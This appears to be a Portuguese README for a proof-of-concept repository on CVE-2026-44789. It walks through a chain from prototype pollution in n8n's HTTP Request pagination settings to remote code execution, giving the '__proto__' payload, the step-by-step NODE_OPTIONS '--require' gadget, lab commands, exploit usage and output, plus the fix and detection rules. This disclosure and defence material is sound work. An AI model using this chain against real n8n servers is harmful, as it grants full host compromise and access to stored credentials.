CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution para RCE (NODE_OPTIONS runner-spawn gadget). Lab + PoC automatizado, verificado e2e.
Um criador de workflow autenticado do n8n
< 1.123.43polui oObject.prototypeno processo do servidor n8n através das configurações de paginação do nó de Requisição HTTP, e então escala para execução remota de código ao abusar de como o n8n inicia seu task runner — vazando umNODE_OPTIONSpoluído para um processo filhonodee contornando a sandbox do nó de Código.
| CVE | CVE-2026-44789 |
| Aviso | GHSA-c8xv-5998-g76h |
| Afetado | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| Corrigido | 1.123.43 / 2.20.7 / 2.22.1 |
| Classe | CWE-1321 (Poluição de Protótipo) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / Crítico |
| Auth | Autenticado (permissão de criar/modificar workflow) |
| Status | CONFIRMADO — cadeia completa reproduzida de ponta a ponta contra n8nio/n8n:1.123.42 |
O aviso público afirma apenas que a poluição "combinada com outras técnicas poderia levar a RCE" — não divulga um gadget. Este repositório documenta e automatiza uma cadeia concreta e verificada de poluição de protótipo → RCE.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, modo de paginação updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName e parameterValue vêm todos do JSON do workflow (controlado pelo atacante). Com parameter.type = "__proto__", paginationData.request["__proto__"] resolve para Object.prototype, então a atribuição escreve Object.prototype[parameterName] = parameterValue — uma poluição global de protótipo no processo do servidor n8n.
A correção usa Object.create(null) para paginationData.request, então ["__proto__"] é uma chave comum (null-proto) ao invés do protótipo.
packages/cli/src/task-runners/task-runner-process-js.ts inicia o task runner JS:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
O normalizeSpawnArguments do Node constrói o ambiente do filho com for (const key in env), que enumera propriedades herdadas enumeráveis. Poluir Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" vaza, portanto, para o ambiente do runner iniciado. O filho é node, que respeita NODE_OPTIONS, então ele --require o arquivo do atacante na inicialização → execução de código fora da sandbox do nó de Código, como o usuário de serviço do n8n.
O runner é iniciado na inicialização, mas seu ciclo de vida o reinicia sempre que o processo termina (onProcessExit → start()). O atacante força um respawn após poluir, travando o runner com um nó de Código (timeout de tarefa / OOM o mata).
exploit.py faz)1. escrever /tmp/evil.js via nós Set → Convert to File → Read/Write Files
2. travar o task runner via um nó de Código ( while(true){} ) [ANTES de poluir]
3. poluir Object.prototype.NODE_OPTIONS via o nó de Requisição HTTP ( type="__proto__" )
4. o runner travado atinge timeout → o processo principal reinicia 'node' → herda NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
A ordem importa: a poluição faz de NODE_OPTIONS uma chave enumerável "own-less" em Object.prototype, que a camada TypeORM do n8n encontra (for…in sobre entidades), quebrando a persistência do workflow. Portanto, o runner já deve estar travado antes da poluição chegar; o respawn então pega o ambiente poluído.
Escopo de configuração (leia primeiro). A primitiva de poluição de protótipo aciona em qualquer versão afetada sem alterações de configuração. O gadget RCE precisa do task runner, que é acessado de forma diferente por branch:
- n8n 2.x afetado (2.0.0–2.20.6, 2.21.0–2.22.0): task runners são padrão/obrigatórios (
N8N_RUNNERS_ENABLEDestá obsoleto →SAFE_TO_REMOVE), então a cadeia RCE completa é configuração padrão.- n8n 1.123.x afetado (esta imagem de laboratório): task runners vêm desligados por padrão, então o laboratório define
N8N_RUNNERS_ENABLED=truepara espelhar o padrão do 2.x.N8N_RUNNERS_TASK_TIMEOUTé reduzido apenas para fazer o respawn do runner travado disparar mais rápido — não é necessário para o bug.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, runners ativados para espelhar 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# saída do comando aparece no host n8n:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py usa apenas a biblioteca padrão Python e aciona a API REST do n8n de ponta a ponta (setup/login de owner → deploy de workflows → disparar a cadeia).
Observado:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) é a conta de serviço do runner e a saída é estado id/uname ao vivo — execução genuína, não eco de entrada.
Qualquer usuário autenticado que possa criar ou modificar um workflow obtém execução de comandos do SO no host n8n, escapando da sandbox do nó de Código — comprometimento total do servidor de automação e de toda credencial/sistema que ele pode alcançar.
Object.create(null), matando a escrita em __proto__).--disable-proto=delete / --disallow-code-generation-from-strings, mas estes protegem o runner, não o processo principal onde a poluição chega.Sinalizar workflows cujos parâmetros de paginação do nó de Requisição HTTP usem valores type de __proto__ / constructor / prototype, e NODE_OPTIONS aparecendo como um erro de propriedade de entidade nos logs do n8n/TypeORM.
Veja ANALYSIS.md para a primitiva, o comportamento do for…in do Node, o ciclo de vida do runner e o patch.